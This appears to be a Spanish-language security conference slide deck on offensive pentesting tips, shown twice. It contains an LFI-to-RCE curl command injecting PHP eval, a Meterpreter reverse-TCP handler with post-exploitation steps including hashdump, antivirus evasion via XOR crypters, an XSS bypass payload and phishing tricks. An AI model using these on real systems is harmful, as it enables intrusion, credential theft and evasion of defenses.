HACKING LIKE A BOSS
TIPS Y TRUCOS PARA HACKEAR
Roberto Salgado
• Co-founder of Websec
• Provide information security solutions
• Pen-testing, training and monitoring
• Pythonista / Security Researcher
Contacto
• rsalgado@websec.mx
• http://www.websec.mx
• http://www.twitter.com/@LightOS
• http://www.github.com/lightos
TEMARIO
• DVWA
• Herramientas para el browser
• Buscar otras entradas de ataque
• Encontrar vulns con auditoria de código
• Phishing
• Evasión de AV
• Evasión de Firewall
PENTEST VS AUDITORIA DE
VULNERABILIDADES
• En la auditoría de vulnerabilidades se listan todas las
vulnerabilidades encontradas.
• En la prueba de penetración solo se listan las vulnerabilidades
que se utilizaron para obtener acceso a la información,
haciendo énfasis en el impacto de la explotación y no en la
totalidad de las vulnerabilidades.
DAMN VULNERABLE WEB APPLICATION
DVWA es una aplicación web vulnerable a:
• Brute Force
• Command Execution
• Insecure Captcha
• File Inclusion
• SQLi
• SQLi Blind
• Upload
• XSS Reflected
• XSS Stored
LOCAL FILE INCLUSION
• LFI es una vulnerabilidad que nos permite leer archivos en un
sistema
• DEMO - http://localhost/lfi.php?file
LOCAL FILE INCLUSION
Preferimos RCE:
• access.log
• error.log
• /proc/self/environ
• /proc/self/status
• /proc/{id}/fd/2
• /proc/self/fd/2
• /var/spool/mail
LOCAL FILE INCLUSION
curl "http://site.com/index.php?page=
../../../../../../../../proc/self/fd/2&cmd=phpinfo();“
-H "User-Agent: <?php eval($_GET[cmd]); ?>"
LOCAL FILE INCLUSION
• RCE No es posible?
• En ese caso tenemos que buscar archivos confidenciales
manualmente
• Buscar archivos de configuración o bitácoras para elevar
nuestro acceso
HERRAMIENTAS
TOOLS / LFI / PANOPTIC
• Filtrar búsqueda por Sistema Operativo, tipo de archivo (conf o
log), software, etc…
• Opción para guardar los archivos encontrados y quitar el HTML
del archivo
• Soporta hilos, proxy HTML y socks 4/5, user-agent al azar,
etc…
TOOLS / LFI / PANOPTIC
• https://github.com/lightos/Panoptic
• git clone https://github.com/lightos/Panoptic.git
• https://github.com/lightos/Panoptic/archive/master.zip
TOOLS / PROXY / FIREFOX
• Tamper Data
• Hack Bar
• Burp Suite Pro
TOOLS / PROXY / FIREFOX
• Tamper Data --- DEMO
• Hack Bar --- DEMO
• Burp Suite Pro
TOOLS / PROXY / CHROME
• Chrome Developer Tools (Ctrl+Shift+I o F12)
• API limitado == No hay equivalente a tamper data
• Burp Suite Pro al rescate!
TOOLS / BURPSUITE PRO
• http://portswigger.net/burp/download.html
TOOLS / BURPSUITE PRO
• Spider / Crawler
• Live + Escáner Pasivo
• Repeater
• Intruder
DEMO
TOOLS / FUZZDB
• FUZZDB – Lista de cadenas (strings) para fuzzear
• https://code.google.com/p/fuzzdb/
TOOLS / FUZZDB
svn checkout http://fuzzdb.googlecode.com/svn/trunk/
fuzzdb-read-only
REVERSE IP LOOKUP
• No encontramos vulnerabilidades/entrada en una pagina
• Hosting compartido?
REVERSE IP LOOKUP
• http://www.ip2hosts.com/
REVERSE IP LOOKUP
• App de Android
• https://play.google.com/store/apps/details?id=websec.ip2hosts
&hl=es
DEMO
DNS LOOKUP
• Ataque de diccionario
• Ataque de fuerza bruta (brute force)
• Transferencia de zona
• SOA (Start of Authority) a través de DNS mal configurado
DNS LOOKUP
• Fierce - RSnake
• DNSMap - GNUCitizen
• DNS_enum – MSF
• DNS-Discovery
• DNSRecon
• DNSRecord
• DnsWalk
GOOGLE HACKING
• Enfocar la búsqueda a nuestra victima
• site: nuestro-objetivo.com.com.mx
• Encontrar archivos, logins, dominios adicionales
• Demo
ADMIN FINDER
• Como encontrar la pagina de admin?
• Google dork: admin finder
• Admin finder: ataque de diccionario
BUSCANDO VULNS
EN
AUDITORIA DE
CÓDIGO
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt
• Recursivo
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt
• Recursivo
• Nombre de archivo
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt
• Recursivo
• Nombre de archivo
• Numero de línea
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt
• Recursivo
• Nombre de archivo
• Numero de línea
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt
• Recursivo
• Nombre de archivo
• Numero de línea
• Dos líneas atrás
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt
• Recursivo
• Nombre de archivo
• Numero de línea
• Dos líneas atrás
• Dos líneas adelante
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt
• Recursivo
• Nombre de archivo
• Numero de línea
• Dos líneas atrás
• Dos líneas adelante
• Mayúsculas y minúsculas
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt
• Recursivo
• Nombre de archivo
• Numero de línea
• Dos líneas atrás
• Dos líneas adelante
• Mayúsculas y minúsculas
• Buscar GET o POST
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt
• Recursivo
• Nombre de archivo
• Numero de línea
• Dos líneas atrás
• Dos líneas adelante
• Mayúsculas y minúsculas
• Buscar GET o POST
• En el directorio actual
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt
• Recursivo
• Nombre de archivo
• Numero de línea
• Dos líneas atrás
• Dos líneas adelante
• Mayúsculas y minúsculas
• Buscar GET o POST
• En el directorio actual
• Guardar los resultados a vulns.txt
DEMO
PHISHING
URL SPOOFING
• Pedro Joaquín mostró esta técnica
• <a href="https://www.google.com/"
onmousedown="this.href='http://websec.mx'">https://www.g
oogle.com/</a>
DEMO
ATAQUES CON UNICODE
• Continuación del rango ASCII
• Left-To-Right Override
• +U202D
• Right-To-Left Override
• +U202E
LIVE DEMO
PHISHING / TLD INCORRECTO
• Registran .com.mx pero no .com
• .net, .org, .co, .ca, .mx
• www.campus-party.com.mx - Existe
• www.campus-party.net – No existe
• www.campus-party.com – En venta
DOMAIN SQUATTING / BIT SQUATTING
• Rayos cósmicos
• Se sobrecalienta el dispositivo
• Pasa unas 600,000 veces al día
Herramienta:
• URLCRAZY
MSF AUTOPWNAGE
• Captura de pantalla (screenshot)
• Foto de la Webcam (webcam_snap)
• Información del sistema (sysinfo)
• Obtención de la IP (ipconfig)
• Routing de la red (route)
• Carpeta actual (pwd)
• Listar archivos (ls)
• Dumpear claves (run hashdump)
• Cierra la sesión
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false
spool C:UsersLightOSDesktopmsf-output.log
exploit -j
LIVE DEMO
LIVE DEMO
EN UN MOMENTO…
EVASION DE AV
EVASIÓN DE ANTIVIRUS
• Dsplit
• Crypters publicos
• XOR Crypter
EVASIÓN DE ANTIVIRUS / DSPLIT
• Incrementalmente dividimos el archivo en bytes
• Escaneamos cada archivo generado
• Volvemos a dividir el archivo que es detectado y uno después
• Repetimos el proceso hasta que nos quede 1 byte de diferencia
• Modificamos el byte para cambiar la firma y evadir detección
EVASIÓN DE ANTIVIRUS / CRYPTER PUBLICO
• http://foro.udtools.net
EVASIÓN DE ANTIVIRUS / CRYPTER XOR
• Herramienta en Python que usa en template en C
• Hace XOR con un random byte y le agrega padding para
cambiar el tamaño
• Carga el shellcode y hace la operación XOR al correr
LIVE DEMO
EVASION DE FIREWALL
• HTML 5 Security CheatSheet
• http://html5sec.org
• Base de Conocimientos de Inyecciones SQL
• http://www.websec.ca/kb/sql_injection
EVASION DE FIREWALL
EVASION DE FIREWALL
Meterpreter:
• Usar un reverse TCP
• Usar puertos permitidos: 53, 80, 443
EVASION DE FIREWALL
• URL Original:
• index.php?id=1
• URL Modificado:
• index.php?id%00 AQUÍ PODEMOS PONER LO QUE QUERAMOS=1
• Probar Bypasses:
• Index.php?id%00”><script>alert(0)</script>=1
SQLMAP TAMPER SCRIPTS
• percentage.py
• space2hash.py
• space2dash.py
• space2morehash.py
• space2mssqlhash.py
• space2mysqldash.py
• space2mssqlblank.py
• charencode.py
• charunicodeencode.py
• chardoubleencode.py
FIN
@LIGHTOS
RSALGADO@WEBSEC.MX
HTTP://WWW.WEBSEC.MX
CPMX5 - Hacking like a boss por Roberto Salgado

CPMX5 - Hacking like a boss por Roberto Salgado

  • 2.
    HACKING LIKE ABOSS TIPS Y TRUCOS PARA HACKEAR
  • 3.
    Roberto Salgado • Co-founderof Websec • Provide information security solutions • Pen-testing, training and monitoring • Pythonista / Security Researcher Contacto • rsalgado@websec.mx • http://www.websec.mx • http://www.twitter.com/@LightOS • http://www.github.com/lightos
  • 4.
    TEMARIO • DVWA • Herramientaspara el browser • Buscar otras entradas de ataque • Encontrar vulns con auditoria de código • Phishing • Evasión de AV • Evasión de Firewall
  • 5.
    PENTEST VS AUDITORIADE VULNERABILIDADES • En la auditoría de vulnerabilidades se listan todas las vulnerabilidades encontradas. • En la prueba de penetración solo se listan las vulnerabilidades que se utilizaron para obtener acceso a la información, haciendo énfasis en el impacto de la explotación y no en la totalidad de las vulnerabilidades.
  • 6.
    DAMN VULNERABLE WEBAPPLICATION DVWA es una aplicación web vulnerable a: • Brute Force • Command Execution • Insecure Captcha • File Inclusion • SQLi • SQLi Blind • Upload • XSS Reflected • XSS Stored
  • 7.
    LOCAL FILE INCLUSION •LFI es una vulnerabilidad que nos permite leer archivos en un sistema • DEMO - http://localhost/lfi.php?file
  • 8.
    LOCAL FILE INCLUSION PreferimosRCE: • access.log • error.log • /proc/self/environ • /proc/self/status • /proc/{id}/fd/2 • /proc/self/fd/2 • /var/spool/mail
  • 9.
    LOCAL FILE INCLUSION curl"http://site.com/index.php?page= ../../../../../../../../proc/self/fd/2&cmd=phpinfo();“ -H "User-Agent: <?php eval($_GET[cmd]); ?>"
  • 10.
    LOCAL FILE INCLUSION •RCE No es posible? • En ese caso tenemos que buscar archivos confidenciales manualmente • Buscar archivos de configuración o bitácoras para elevar nuestro acceso
  • 11.
  • 12.
    TOOLS / LFI/ PANOPTIC • Filtrar búsqueda por Sistema Operativo, tipo de archivo (conf o log), software, etc… • Opción para guardar los archivos encontrados y quitar el HTML del archivo • Soporta hilos, proxy HTML y socks 4/5, user-agent al azar, etc…
  • 13.
    TOOLS / LFI/ PANOPTIC • https://github.com/lightos/Panoptic • git clone https://github.com/lightos/Panoptic.git • https://github.com/lightos/Panoptic/archive/master.zip
  • 14.
    TOOLS / PROXY/ FIREFOX • Tamper Data • Hack Bar • Burp Suite Pro
  • 15.
    TOOLS / PROXY/ FIREFOX • Tamper Data --- DEMO • Hack Bar --- DEMO • Burp Suite Pro
  • 16.
    TOOLS / PROXY/ CHROME • Chrome Developer Tools (Ctrl+Shift+I o F12) • API limitado == No hay equivalente a tamper data • Burp Suite Pro al rescate!
  • 17.
    TOOLS / BURPSUITEPRO • http://portswigger.net/burp/download.html
  • 18.
    TOOLS / BURPSUITEPRO • Spider / Crawler • Live + Escáner Pasivo • Repeater • Intruder
  • 19.
  • 20.
    TOOLS / FUZZDB •FUZZDB – Lista de cadenas (strings) para fuzzear • https://code.google.com/p/fuzzdb/
  • 21.
    TOOLS / FUZZDB svncheckout http://fuzzdb.googlecode.com/svn/trunk/ fuzzdb-read-only
  • 22.
    REVERSE IP LOOKUP •No encontramos vulnerabilidades/entrada en una pagina • Hosting compartido?
  • 23.
    REVERSE IP LOOKUP •http://www.ip2hosts.com/
  • 26.
    REVERSE IP LOOKUP •App de Android • https://play.google.com/store/apps/details?id=websec.ip2hosts &hl=es
  • 28.
  • 30.
    DNS LOOKUP • Ataquede diccionario • Ataque de fuerza bruta (brute force) • Transferencia de zona • SOA (Start of Authority) a través de DNS mal configurado
  • 31.
    DNS LOOKUP • Fierce- RSnake • DNSMap - GNUCitizen • DNS_enum – MSF • DNS-Discovery • DNSRecon • DNSRecord • DnsWalk
  • 35.
    GOOGLE HACKING • Enfocarla búsqueda a nuestra victima • site: nuestro-objetivo.com.com.mx • Encontrar archivos, logins, dominios adicionales • Demo
  • 36.
    ADMIN FINDER • Comoencontrar la pagina de admin? • Google dork: admin finder • Admin finder: ataque de diccionario
  • 38.
  • 39.
    BUSCANDO VULNS ENPUT IZ A grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt
  • 40.
    BUSCANDO VULNS ENPUT IZ A grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt • Recursivo
  • 41.
    BUSCANDO VULNS ENPUT IZ A grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt • Recursivo • Nombre de archivo
  • 42.
    BUSCANDO VULNS ENPUT IZ A grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt • Recursivo • Nombre de archivo • Numero de línea
  • 43.
    BUSCANDO VULNS ENPUT IZ A grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt • Recursivo • Nombre de archivo • Numero de línea
  • 44.
    BUSCANDO VULNS ENPUT IZ A grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt • Recursivo • Nombre de archivo • Numero de línea • Dos líneas atrás
  • 45.
    BUSCANDO VULNS ENPUT IZ A grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt • Recursivo • Nombre de archivo • Numero de línea • Dos líneas atrás • Dos líneas adelante
  • 46.
    BUSCANDO VULNS ENPUT IZ A grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt • Recursivo • Nombre de archivo • Numero de línea • Dos líneas atrás • Dos líneas adelante • Mayúsculas y minúsculas
  • 47.
    BUSCANDO VULNS ENPUT IZ A grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt • Recursivo • Nombre de archivo • Numero de línea • Dos líneas atrás • Dos líneas adelante • Mayúsculas y minúsculas • Buscar GET o POST
  • 48.
    BUSCANDO VULNS ENPUT IZ A grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt • Recursivo • Nombre de archivo • Numero de línea • Dos líneas atrás • Dos líneas adelante • Mayúsculas y minúsculas • Buscar GET o POST • En el directorio actual
  • 49.
    BUSCANDO VULNS ENPUT IZ A grep -R -H -n -B 2 -A 2 -i '$_GET|$_POST' . > ../vulns.txt • Recursivo • Nombre de archivo • Numero de línea • Dos líneas atrás • Dos líneas adelante • Mayúsculas y minúsculas • Buscar GET o POST • En el directorio actual • Guardar los resultados a vulns.txt
  • 50.
  • 51.
  • 52.
    URL SPOOFING • PedroJoaquín mostró esta técnica • <a href="https://www.google.com/" onmousedown="this.href='http://websec.mx'">https://www.g oogle.com/</a>
  • 53.
  • 54.
    ATAQUES CON UNICODE •Continuación del rango ASCII • Left-To-Right Override • +U202D • Right-To-Left Override • +U202E
  • 56.
  • 58.
    PHISHING / TLDINCORRECTO • Registran .com.mx pero no .com • .net, .org, .co, .ca, .mx • www.campus-party.com.mx - Existe • www.campus-party.net – No existe • www.campus-party.com – En venta
  • 59.
    DOMAIN SQUATTING /BIT SQUATTING • Rayos cósmicos • Se sobrecalienta el dispositivo • Pasa unas 600,000 veces al día Herramienta: • URLCRAZY
  • 61.
    MSF AUTOPWNAGE • Capturade pantalla (screenshot) • Foto de la Webcam (webcam_snap) • Información del sistema (sysinfo) • Obtención de la IP (ipconfig) • Routing de la red (route) • Carpeta actual (pwd) • Listar archivos (ls) • Dumpear claves (run hashdump) • Cierra la sesión
  • 62.
    use exploit/multi/handler set PAYLOADwindows/meterpreter/reverse_tcp set LHOST 0.0.0.0 set LPORT 4444 set ExitOnSession false spool C:UsersLightOSDesktopmsf-output.log exploit -j
  • 63.
  • 64.
    LIVE DEMO EN UNMOMENTO…
  • 65.
  • 66.
    EVASIÓN DE ANTIVIRUS •Dsplit • Crypters publicos • XOR Crypter
  • 67.
    EVASIÓN DE ANTIVIRUS/ DSPLIT • Incrementalmente dividimos el archivo en bytes • Escaneamos cada archivo generado • Volvemos a dividir el archivo que es detectado y uno después • Repetimos el proceso hasta que nos quede 1 byte de diferencia • Modificamos el byte para cambiar la firma y evadir detección
  • 68.
    EVASIÓN DE ANTIVIRUS/ CRYPTER PUBLICO • http://foro.udtools.net
  • 69.
    EVASIÓN DE ANTIVIRUS/ CRYPTER XOR • Herramienta en Python que usa en template en C • Hace XOR con un random byte y le agrega padding para cambiar el tamaño • Carga el shellcode y hace la operación XOR al correr
  • 70.
  • 71.
    EVASION DE FIREWALL •HTML 5 Security CheatSheet • http://html5sec.org • Base de Conocimientos de Inyecciones SQL • http://www.websec.ca/kb/sql_injection
  • 72.
  • 73.
    EVASION DE FIREWALL Meterpreter: •Usar un reverse TCP • Usar puertos permitidos: 53, 80, 443
  • 74.
    EVASION DE FIREWALL •URL Original: • index.php?id=1 • URL Modificado: • index.php?id%00 AQUÍ PODEMOS PONER LO QUE QUERAMOS=1 • Probar Bypasses: • Index.php?id%00”><script>alert(0)</script>=1
  • 75.
    SQLMAP TAMPER SCRIPTS •percentage.py • space2hash.py • space2dash.py • space2morehash.py • space2mssqlhash.py • space2mysqldash.py • space2mssqlblank.py • charencode.py • charunicodeencode.py • chardoubleencode.py
  • 76.